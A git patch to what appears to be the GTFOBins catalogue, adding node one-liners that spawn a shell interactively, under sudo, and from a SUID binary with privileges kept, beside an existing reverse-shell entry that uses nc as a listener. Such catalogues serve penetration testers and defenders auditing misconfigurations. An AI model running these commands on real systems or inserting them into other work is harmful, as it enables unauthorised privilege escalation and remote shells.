From af346441f2f33ea171af0c78ee56254be4403bef Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Wed, 23 May 2018 20:17:43 +0100 Subject: [PATCH] Add node suid, sudo, and interactive --- _gtfobins/node.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/_gtfobins/node.md b/_gtfobins/node.md index 5532d4b..11c14d0 100644 --- a/_gtfobins/node.md +++ b/_gtfobins/node.md @@ -1,5 +1,14 @@ --- functions: + exec-interactive: + - code: | + node -e 'require("child_process").spawn("/bin/sh", [], { stdio: [0, 1, 2]});' + sudo-enabled: + - code: | + sudo node -e 'require("child_process").spawn("/bin/sh", [], { stdio: [0, 1, 2]});' + suid-enabled: + - code: | + ./node -e 'require("child_process").spawn("/bin/sh", [ "-p" ], { stdio: [0, 1, 2]});' reverse-shell: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: |